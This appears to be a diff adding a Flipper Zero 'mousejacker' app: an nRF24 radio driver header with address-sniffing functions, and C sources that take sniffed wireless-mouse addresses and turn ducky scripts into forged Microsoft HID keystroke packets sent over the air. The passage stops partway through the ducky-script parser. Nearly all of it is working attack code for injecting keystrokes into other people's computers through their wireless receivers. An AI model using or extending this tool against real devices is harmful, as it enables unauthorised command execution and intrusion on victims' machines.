+/** Sets configured length of MAC address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      maclen - length to set MAC address to, must be greater than 1 and less than 6
+ * 
+ * @return     MAC address length
+ */
+uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen);
+
+/** Gets the current status flags from the STATUS register
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     status flags
+ */
+uint8_t nrf24_status(FuriHalSpiBusHandle* handle);
+
+/** Gets the current transfer rate
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     transfer rate in bps
+ */
+uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle);
+
+/** Sets the transfer rate
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      rate - the transfer rate in bps
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate);
+
+/** Gets the current channel
+ * In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     channel
+ */
+uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle);
+
+/** Sets the channel
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      frequency - the frequency in hertz
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan);
+
+/** Gets the source mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param[out] mac - the source mac address
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac);
+
+/** Sets the source mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      mac - the mac address to set
+ * @param      size - the size of the mac address (2 to 5)
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
+
+/** Gets the dest mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param[out] mac - the source mac address
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac);
+
+/** Sets the dest mac address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      mac - the mac address to set
+ * @param      size - the size of the mac address (2 to 5)
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size);
+
+/** Reads RX packet
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param[out] packet - the packet contents
+ * @param[out] packetsize - size of the received packet
+ * @param      full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command
+ * 
+ * @return     device status
+ */
+uint8_t
+    nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full);
+
+/** Sends TX packet
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      packet - the packet contents
+ * @param      size - packet size
+ * @param      ack - boolean to determine whether an ACK is required for the packet or not
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack);
+
+/** Configure the radio
+ * This is not comprehensive, but covers a lot of the common configuration options that may be changed
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      rate - transfer rate in Mbps (1 or 2)
+ * @param      srcmac - source mac address
+ * @param      dstmac - destination mac address
+ * @param      maclen - length of mac address
+ * @param      channel - channel to tune to
+ * @param      noack - if true, disable auto-acknowledge
+ * @param      disable_aa - if true, disable ShockBurst
+ * 
+ */
+void nrf24_configure(
+    FuriHalSpiBusHandle* handle,
+    uint8_t rate,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t channel,
+    bool noack,
+    bool disable_aa);
+
+/** Configures the radio for "promiscuous mode" and primes it for rx
+ * This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were.
+ * See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details.
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      channel - channel to tune to
+ * @param      rate - transfer rate in Mbps (1 or 2) 
+ */
+void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate);
+
+/** Listens for a packet and returns first possible address sniffed
+ * Call this only after calling nrf24_init_promisc_mode
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      maclen - length of target mac address
+ * @param[out] addresses - sniffed address
+ * 
+ * @return     success
+ */
+bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address);
+
+/** Sends ping packet on each channel for designated tx mac looking for ack
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      srcmac - source address
+ * @param      dstmac - destination address
+ * @param      maclen - length of address
+ * @param      rate - transfer rate in Mbps (1 or 2) 
+ * @param      min_channel - channel to start with
+ * @param      max_channel - channel to end at
+ * @param      autoinit - if true, automatically configure radio for this channel
+ * 
+ * @return     channel that the address is listening on, if this value is above the max_channel param, it failed
+ */
+uint8_t nrf24_find_channel(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t rate,
+    uint8_t min_channel,
+    uint8_t max_channel,
+    bool autoinit);
+
+/** Converts 64 bit value into uint8_t array
+ * @param      val  - 64-bit integer
+ * @param[out] out - bytes out
+ * @param      bigendian - if true, convert as big endian, otherwise little endian
+ */
+void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian);
+
+/** Converts 32 bit value into uint8_t array
+ * @param      val  - 32-bit integer
+ * @param[out] out - bytes out
+ * @param      bigendian - if true, convert as big endian, otherwise little endian
+ */
+void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian);
+
+/** Converts uint8_t array into 32 bit value
+ * @param      bytes  - uint8_t array
+ * @param      bigendian - if true, convert as big endian, otherwise little endian
+ * 
+ * @return     32-bit value
+ */
+uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian);
+
+#ifdef __cplusplus
+}
+#endif

BIN
non_catalog_apps/mousejacker_ms/mouse_10px.png


+ 400 - 0
non_catalog_apps/mousejacker_ms/mousejacker.c

@@ -0,0 +1,400 @@
+#include <furi.h>
+#include <gui/gui.h>
+#include <dialogs/dialogs.h>
+#include <input/input.h>
+#include <stdlib.h>
+#include <furi_hal.h>
+#include <furi_hal_gpio.h>
+#include <furi_hal_spi.h>
+#include <furi_hal_interrupt.h>
+#include <furi_hal_resources.h>
+#include <nrf24.h>
+#include "mousejacker_ducky.h"
+#include "NRF24_Mouse_Jacker_icons.h"
+
+#define TAG "mousejacker"
+#define MICROSOFT_MIN_CHANNEL 49
+#define LOGITECH_MAX_CHANNEL 85
+#define NRFSNIFF_APP_PATH_FOLDER "/ext/apps_data/nrf24_sniffer_ms"
+#define NRFSNIFF_APP_PATH_EXTENSION ".txt"
+#define NRFSNIFF_APP_FILENAME "addresses.txt"
+#define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
+#define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
+#define MAX_ADDRS 100
+
+typedef enum {
+    EventTypeTick,
+    EventTypeKey,
+} EventType;
+
+typedef struct {
+    EventType type;
+    InputEvent input;
+} PluginEvent;
+
+uint8_t addrs_count = 0;
+uint8_t addr_idx = 0;
+uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
+
+char target_fmt_text[] = "Target addr: %s";
+char target_address_str[12] = "None";
+char target_text[30];
+
+static void render_callback(Canvas* const canvas, void* ctx) {
+    furi_assert(ctx);
+    const PluginState* plugin_state = ctx;
+    furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
+
+    // border around the edge of the screen
+    canvas_draw_frame(canvas, 0, 0, 128, 64);
+
+    canvas_set_font(canvas, FontSecondary);
+    if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->is_thread_running &&
+       !plugin_state->is_ducky_running) {
+        snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str);
+        canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
+        canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
+        canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
+        canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
+    } else if(plugin_state->addr_err) {
+        canvas_draw_str_aligned(
+            canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
+        canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
+        canvas_draw_str_aligned(
+            canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
+        canvas_draw_str_aligned(
+            canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
+    } else if(plugin_state->ducky_err) {
+        canvas_draw_str_aligned(
+            canvas, 3, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
+        canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "or duckyscript file");
+        canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "loading error");
+    } else if(plugin_state->is_thread_running && !plugin_state->is_ducky_running) {
+        canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Loading...");
+        canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
+    } else if(plugin_state->is_thread_running && plugin_state->is_ducky_running) {
+        canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Running duckyscript");
+        canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
+        canvas_draw_str_aligned(
+            canvas, 3, 30, AlignLeft, AlignBottom, "Press back to exit (if it stuck)");
+    } else {
+        canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Unknown Error");
+        canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "press back");
+        canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "to exit");
+    }
+
+    furi_mutex_release(plugin_state->mutex);
+}
+
+static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
+    furi_assert(event_queue);
+
+    PluginEvent event = {.type = EventTypeKey, .input = *input_event};
+    furi_message_queue_put(event_queue, &event, FuriWaitForever);
+}
+
+static void mousejacker_state_init(PluginState* const plugin_state) {
+    plugin_state->is_thread_running = false;
+}
+
+static void hexlify(uint8_t* in, uint8_t size, char* out) {
+    memset(out, 0, size * 2);
+    for(int i = 0; i < size; i++)
+        snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
+}
+
+static bool open_ducky_script(Stream* stream, PluginState* plugin_state) {
+    DialogsApp* dialogs = furi_record_open("dialogs");
+    bool result = false;
+    FuriString* path;
+    path = furi_string_alloc();
+    furi_string_set(path, MOUSEJACKER_APP_PATH_FOLDER);
+
+    DialogsFileBrowserOptions browser_options;
+    dialog_file_browser_set_basic_options(
+        &browser_options, MOUSEJACKER_APP_PATH_EXTENSION, &I_badusb_10px);
+    browser_options.hide_ext = false;
+
+    bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
+
+    furi_record_close("dialogs");
+    if(ret) {
+        if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
+            FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
+        } else {
+            result = true;
+        }
+    }
+    furi_string_free(path);
+
+    plugin_state->is_ducky_running = true;
+
+    return result;
+}
+
+static bool open_addrs_file(Stream* stream) {
+    DialogsApp* dialogs = furi_record_open("dialogs");
+    bool result = false;
+    FuriString* path;
+    path = furi_string_alloc();
+    furi_string_set(path, NRFSNIFF_APP_PATH_FOLDER);
+
+    DialogsFileBrowserOptions browser_options;
+    dialog_file_browser_set_basic_options(
+        &browser_options, NRFSNIFF_APP_PATH_EXTENSION, &I_sub1_10px);
+    browser_options.hide_ext = false;
+
+    bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
+
+    furi_record_close("dialogs");
+    if(ret) {
+        if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
+            FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
+        } else {
+            result = true;
+        }
+    }
+    furi_string_free(path);
+    return result;
+}
+
+static bool process_ducky_file(
+    Stream* file_stream,
+    uint8_t* addr,
+    uint8_t addr_size,
+    uint8_t rate,
+    PluginState* plugin_state) {
+    size_t file_size = 0;
+    size_t bytes_read = 0;
+    uint8_t* file_buf;
+    bool loaded = false;
+    FURI_LOG_D(TAG, "opening ducky script");
+    if(open_ducky_script(file_stream, plugin_state)) {
+        file_size = stream_size(file_stream);
+        if(file_size == (size_t)0) {
+            FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
+            plugin_state->is_ducky_running = false;
+            return loaded;
+        }
+        file_buf = malloc(file_size);
+        memset(file_buf, 0, file_size);
+        bytes_read = stream_read(file_stream, file_buf, file_size);
+        if(bytes_read == file_size) {
+            FURI_LOG_D(TAG, "executing ducky script");
+            mj_process_ducky_script(
+                nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf, plugin_state);
+            FURI_LOG_D(TAG, "finished execution");
+            loaded = true;
+        } else {
+            FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
+        }
+        free(file_buf);
+    }
+    plugin_state->is_ducky_running = false;
+    return loaded;
+}
+
+static bool load_addrs_file(Stream* file_stream) {
+    size_t file_size = 0;
+    size_t bytes_read = 0;
+    uint8_t* file_buf;
+    char* line_ptr;
+    uint8_t rate;
+    uint8_t addrlen = 0;
+    uint32_t counter = 0;
+    uint8_t addr[5] = {0};
+    uint32_t i_addr_lo = 0;
+    uint32_t i_addr_hi = 0;
+    bool loaded = false;
+    FURI_LOG_D(TAG, "opening addrs file");
+    addrs_count = 0;
+    if(open_addrs_file(file_stream)) {
+        file_size = stream_size(file_stream);
+        if(file_size == (size_t)0) {
+            FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
+            return loaded;
+        }
+        file_buf = malloc(file_size);
+        memset(file_buf, 0, file_size);
+        bytes_read = stream_read(file_stream, file_buf, file_size);
+        if(bytes_read == file_size) {
+            FURI_LOG_D(TAG, "loading addrs file");
+            char* line = strtok((char*)file_buf, "\n");
+
+            while(line != NULL) {
+                line_ptr = strstr((char*)line, ",");
+                *line_ptr = 0;
+                rate = atoi(line_ptr + 1);
+                addrlen = (uint8_t)(strlen(line) / 2);
+                i_addr_lo = strtoul(line + 2, NULL, 16);
+                line[2] = (char)0;
+                i_addr_hi = strtoul(line, NULL, 16);
+                int32_to_bytes(i_addr_lo, &addr[1], true);
+                addr[0] = (uint8_t)(i_addr_hi & 0xFF);
+                memset(loaded_addrs[counter], rate, 1);
+                memcpy(&loaded_addrs[counter++][1], addr, addrlen);
+                addrs_count++;
+                line = strtok(NULL, "\n");
+                loaded = true;
+            }
+        } else {
+            FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
+        }
+        free(file_buf);
+    }
+    return loaded;
+}
+
+// entrypoint for worker
+static int32_t mj_worker_thread(void* ctx) {
+    PluginState* plugin_state = ctx;
+    bool ducky_ok = false;
+    if(!plugin_state->addr_err) {
+        plugin_state->is_thread_running = true;
+        plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
+        nrf24_find_channel(
+            nrf24_HANDLE,
+            loaded_addrs[addr_idx] + 1,
+            loaded_addrs[addr_idx] + 1,
+            5,
+            loaded_addrs[addr_idx][0],
+            2,
+            //MICROSOFT_MIN_CHANNEL,
+            LOGITECH_MAX_CHANNEL,
+            true);
+        ducky_ok = process_ducky_file(
+            plugin_state->file_stream,
+            loaded_addrs[addr_idx] + 1,
+            5,
+            loaded_addrs[addr_idx][0],
+            plugin_state);
+        if(!ducky_ok) {
+            plugin_state->ducky_err = true;
+        } else {
+            plugin_state->ducky_err = false;
+        }
+        stream_free(plugin_state->file_stream);
+    }
+    plugin_state->is_thread_running = false;
+    return 0;
+}
+
+void start_mjthread(PluginState* plugin_state) {
+    if(!plugin_state->is_thread_running) {
+        furi_thread_start(plugin_state->mjthread);
+    }
+}
+
+int32_t mousejacker_app(void* p) {
+    UNUSED(p);
+    FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
+
+    PluginState* plugin_state = malloc(sizeof(PluginState));
+    mousejacker_state_init(plugin_state);
+    plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
+    if(!plugin_state->mutex) {
+        FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
+        furi_message_queue_free(event_queue);
+        free(plugin_state);
+        return 255;
+    }
+
+    // Set system callbacks
+    ViewPort* view_port = view_port_alloc();
+    view_port_draw_callback_set(view_port, render_callback, plugin_state);
+    view_port_input_callback_set(view_port, input_callback, event_queue);
+
+    // Open GUI and register view_port
+    Gui* gui = furi_record_open(RECORD_GUI);
+    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
+
+    plugin_state->storage = furi_record_open(RECORD_STORAGE);
+    storage_common_mkdir(plugin_state->storage, MOUSEJACKER_APP_PATH_FOLDER);
+    plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
+
+    plugin_state->mjthread = furi_thread_alloc();
+    furi_thread_set_name(plugin_state->mjthread, "MJ Worker");
+    furi_thread_set_stack_size(plugin_state->mjthread, 2048);
+    furi_thread_set_context(plugin_state->mjthread, plugin_state);
+    furi_thread_set_callback(plugin_state->mjthread, mj_worker_thread);
+
+    // spawn load file dialog to choose sniffed addresses file
+    if(load_addrs_file(plugin_state->file_stream)) {
+        addr_idx = 0;
+        hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
+        plugin_state->addr_err = false;
+    } else {
+        plugin_state->addr_err = true;
+    }
+    stream_free(plugin_state->file_stream);
+    nrf24_init();
+
+    PluginEvent event;
+    for(bool processing = true; processing;) {
+        FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
+        furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
+
+        if(event_status == FuriStatusOk) {
+            // press events
+            if(event.type == EventTypeKey) {
+                if(event.input.type == InputTypePress) {
+                    switch(event.input.key) {
+                    case InputKeyUp:
+                        break;
+                    case InputKeyDown:
+                        break;
+                    case InputKeyRight:
+                        if(!plugin_state->addr_err) {
+                            addr_idx++;
+                            if(addr_idx > addrs_count) addr_idx = 0;
+                            hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
+                        }
+                        break;
+                    case InputKeyLeft:
+                        if(!plugin_state->addr_err) {
+                            addr_idx--;
+                            if(addr_idx == 0) addr_idx = addrs_count - 1;
+                            hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
+                        }
+                        break;
+                    case InputKeyOk:
+                        if(!plugin_state->addr_err) {
+                            if(!plugin_state->is_thread_running) {
+                                start_mjthread(plugin_state);
+                                view_port_update(view_port);
+                            }
+                        }
+                        break;
+                    case InputKeyBack:
+                        plugin_state->close_thread_please = true;
+                        if(plugin_state->is_thread_running && plugin_state->mjthread) {
+                            furi_thread_join(
+                                plugin_state->mjthread); // wait until thread is finished
+                        }
+                        plugin_state->close_thread_please = false;
+                        processing = false;
+                        break;
+                    default:
+                        break;
+                    }
+                }
+            }
+        }
+
+        view_port_update(view_port);
+        furi_mutex_release(plugin_state->mutex);
+    }
+
+    furi_thread_free(plugin_state->mjthread);
+    nrf24_deinit();
+    view_port_enabled_set(view_port, false);
+    gui_remove_view_port(gui, view_port);
+    furi_record_close(RECORD_GUI);
+    furi_record_close(RECORD_STORAGE);
+    view_port_free(view_port);
+    furi_message_queue_free(event_queue);
+    furi_mutex_free(plugin_state->mutex);
+    free(plugin_state);
+
+    return 0;
+}

+ 394 - 0
non_catalog_apps/mousejacker_ms/mousejacker_ducky.c

@@ -0,0 +1,394 @@
+#include "mousejacker_ducky.h"
+
+static const char ducky_cmd_comment[] = {"REM"};
+static const char ducky_cmd_delay[] = {"DELAY "};
+static const char ducky_cmd_string[] = {"STRING "};
+static const char ducky_cmd_repeat[] = {"REPEAT "};
+
+// Bytes 0 to 3 are hardcoded for my specific mouse (they should be known after the sniffing but addresses.txt doesn't save them)
+static uint8_t MICROSOFT_HID_TEMPLATE[] =
+    {0x08, 0x90, 0x19, 0x01, 0x00, 0x00, 67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
+
+uint8_t prev_hid = 0;
+uint8_t sequence_num = 0;
+
+#define RT_THRESHOLD 50
+#define MICROSOFT_MIN_CHANNEL 2
+#define MICROSOFT_MAX_CHANNEL 83
+#define MICROSOFT_HID_TEMPLATE_SIZE 19
+#define TAG "mousejacker_ducky"
+
+MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0},         {"!", 30, 2},          {"\"", 52, 2},
+                              {"#", 32, 2},         {"$", 33, 2},          {"%", 34, 2},
+                              {"&", 36, 2},         {"'", 52, 0},          {"(", 38, 2},
+                              {")", 39, 2},         {"*", 37, 2},          {"+", 46, 2},
+                              {",", 54, 0},         {"-", 45, 0},          {".", 55, 0},
+                              {"/", 56, 0},         {"0", 39, 0},          {"1", 30, 0},
+                              {"2", 31, 0},         {"3", 32, 0},          {"4", 33, 0},
+                              {"5", 34, 0},         {"6", 35, 0},          {"7", 36, 0},
+                              {"8", 37, 0},         {"9", 38, 0},          {":", 51, 2},
+                              {";", 51, 0},         {"<", 54, 2},          {"=", 46, 0},
+                              {">", 55, 2},         {"?", 56, 2},          {"@", 31, 2},
+                              {"A", 4, 2},          {"B", 5, 2},           {"C", 6, 2},
+                              {"D", 7, 2},          {"E", 8, 2},           {"F", 9, 2},
+                              {"G", 10, 2},         {"H", 11, 2},          {"I", 12, 2},
+                              {"J", 13, 2},         {"K", 14, 2},          {"L", 15, 2},
+                              {"M", 16, 2},         {"N", 17, 2},          {"O", 18, 2},
+                              {"P", 19, 2},         {"Q", 20, 2},          {"R", 21, 2},
+                              {"S", 22, 2},         {"T", 23, 2},          {"U", 24, 2},
+                              {"V", 25, 2},         {"W", 26, 2},          {"X", 27, 2},
+                              {"Y", 28, 2},         {"Z", 29, 2},          {"[", 47, 0},
+                              {"\\", 49, 0},        {"]", 48, 0},          {"^", 35, 2},
+                              {"_", 45, 2},         {"`", 53, 0},          {"a", 4, 0},
+                              {"b", 5, 0},          {"c", 6, 0},           {"d", 7, 0},
+                              {"e", 8, 0},          {"f", 9, 0},           {"g", 10, 0},
+                              {"h", 11, 0},         {"i", 12, 0},          {"j", 13, 0},
+                              {"k", 14, 0},         {"l", 15, 0},          {"m", 16, 0},
+                              {"n", 17, 0},         {"o", 18, 0},          {"p", 19, 0},
+                              {"q", 20, 0},         {"r", 21, 0},          {"s", 22, 0},
+                              {"t", 23, 0},         {"u", 24, 0},          {"v", 25, 0},
+                              {"w", 26, 0},         {"x", 27, 0},          {"y", 28, 0},
+                              {"z", 29, 0},         {"{", 47, 2},          {"|", 49, 2},
+                              {"}", 48, 2},         {"~", 53, 2},          {"BACKSPACE", 42, 0},
+                              {"", 0, 0},           {"ALT", 0, 4},         {"SHIFT", 0, 2},
+                              {"CTRL", 0, 1},       {"GUI", 0, 8},         {"SCROLLLOCK", 71, 0},
+                              {"ENTER", 40, 0},     {"F12", 69, 0},        {"HOME", 74, 0},
+                              {"F10", 67, 0},       {"F9", 66, 0},         {"ESCAPE", 41, 0},
+                              {"PAGEUP", 75, 0},    {"TAB", 43, 0},        {"PRINTSCREEN", 70, 0},
+                              {"F2", 59, 0},        {"CAPSLOCK", 57, 0},   {"F1", 58, 0},
+                              {"F4", 61, 0},        {"F6", 63, 0},         {"F8", 65, 0},
+                              {"DOWNARROW", 81, 0}, {"DELETE", 42, 0},     {"RIGHT", 79, 0},
+                              {"F3", 60, 0},        {"DOWN", 81, 0},       {"DEL", 76, 0},
+                              {"END", 77, 0},       {"INSERT", 73, 0},     {"F5", 62, 0},
+                              {"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0},
+                              {"PAUSE", 72, 0},     {"SPACE", 44, 0},      {"UPARROW", 82, 0},
+                              {"F11", 68, 0},       {"F7", 64, 0},         {"UP", 82, 0},
+                              {"LEFT", 80, 0}};
+
+/*
+static bool mj_ducky_get_number(const char* param, uint32_t* val) {
+    uint32_t value = 0;
+    if(sscanf(param, "%lu", &value) == 1) {
+        *val = value;
+        return true;
+    }
+    return false;
+}
+*/
+
+static uint32_t mj_ducky_get_command_len(const char* line) {
+    uint32_t len = strlen(line);
+    for(uint32_t i = 0; i < len; i++) {
+        if(line[i] == ' ') return i;
+    }
+    return 0;
+}
+
+static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) {
+    //FURI_LOG_D(TAG, "looking up key %s with length %d", key, keylen);
+    for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) {
+        if(!strncmp(mj_ducky_keys[i].name, key, keylen)) {
+            memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey));
+            return true;
+        }
+    }
+
+    return false;
+}
+
+static void checksum(uint8_t* payload, uint len) {
+    // MS checksum algorithm - as per KeyKeriki paper
+    payload[len - 1] = 0x00;
+    for(uint n = 0; n < len - 2; n++) payload[len - 1] ^= payload[n];
+    payload[len - 1] = ~payload[len - 1] & 0xff;
+}
+
+static void sequence(uint8_t* payload) {
+    // MS frames use a 2 bytes sequence number
+    payload[5] = (sequence_num >> 8) & 0xff;
+    payload[4] = sequence_num & 0xff;
+    sequence_num += 1;
+}
+
+static void inject_packet(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* addr,
+    uint8_t addr_size,
+    uint8_t rate,
+    uint8_t* payload,
+    size_t payload_size,
+    PluginState* plugin_state) {
+    uint8_t rt_count = 0;
+    while(1) {
+        if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
+            return;
+        }
+        if(nrf24_txpacket(handle, payload, payload_size, true)) {
+            break;
+        }
+
+        rt_count++;
+        // retransmit threshold exceeded, scan for new channel
+        if(rt_count > RT_THRESHOLD) {
+            if(nrf24_find_channel(
+                   handle,
+                   addr,
+                   addr,
+                   addr_size,
+                   rate,
+                   MICROSOFT_MIN_CHANNEL,
+                   MICROSOFT_MAX_CHANNEL,
+                   true) > MICROSOFT_MAX_CHANNEL) {
+                return; // fail
+            }
+            //FURI_LOG_D("mj", "find channel passed, %d", tessst);
+
+            rt_count = 0;
+        }
+    }
+}
+
+static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) {
+    memcpy(payload, MICROSOFT_HID_TEMPLATE, MICROSOFT_HID_TEMPLATE_SIZE);
+    payload[7] = mod;
+    payload[9] = hid;
+    sequence(payload);
+    checksum(payload, MICROSOFT_HID_TEMPLATE_SIZE);
+    /*uint8_t byte;
+    uint8_t i;
+    FURI_LOG_I(TAG, "build_hid_packet");
+    for(i=0; i < MICROSOFT_HID_TEMPLATE_SIZE; i++) {
+	byte = payload[i];
+        FURI_LOG_I(TAG, "%02x ", byte);
+    }*/
+}
+
+static void send_hid_packet(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* addr,
+    uint8_t addr_size,
+    uint8_t rate,
+    uint8_t mod,
+    uint8_t hid,
+    PluginState* plugin_state) {
+    uint8_t hid_payload[MICROSOFT_HID_TEMPLATE_SIZE] = {0};
+    build_hid_packet(0, 0, hid_payload);
+    if(hid == prev_hid)
+        inject_packet(
+            handle,
+            addr,
+            addr_size,
+            rate,
+            hid_payload,
+            MICROSOFT_HID_TEMPLATE_SIZE,
+            plugin_state); // empty hid packet
+
+    prev_hid = hid;
+    build_hid_packet(mod, hid, hid_payload);
+    inject_packet(
+        handle, addr, addr_size, rate, hid_payload, MICROSOFT_HID_TEMPLATE_SIZE, plugin_state);
+    furi_delay_ms(12);
+}
+
+// returns false if there was an error processing script line
+static bool mj_process_ducky_line(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* addr,
+    uint8_t addr_size,
+    uint8_t rate,
+    char* line,
+    char* prev_line,
+    PluginState* plugin_state) {
+    MJDuckyKey dk;
+    uint8_t hid_payload[MICROSOFT_HID_TEMPLATE_SIZE] = {0};
+    char* line_tmp = line;
+    uint32_t line_len = strlen(line);
+    if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
+        return true;
+    }
+    for(uint32_t i = 0; i < line_len; i++) {
+        if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) {
+            line_tmp = &line_tmp[i];
+            break; // Skip spaces and tabs
+        }
+        if(i == line_len - 1) return true; // Skip empty lines
+    }
+
+    FURI_LOG_D(TAG, "line: %s", line_tmp);
+
+    // General commands
+    if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) {
+        // REM - comment line
+        return true;
+    } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
+        // DELAY
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        uint32_t delay_val = 0;
+        delay_val = atoi(line_tmp);
+        if(delay_val > 0) {
+            uint32_t delay_count = delay_val / 10;
+            build_hid_packet(0, 0, hid_payload);
+            inject_packet(
+                handle,
+                addr,
+                addr_size,
+                rate,
+                hid_payload,
+                MICROSOFT_HID_TEMPLATE_SIZE,
+                plugin_state); // empty hid packet
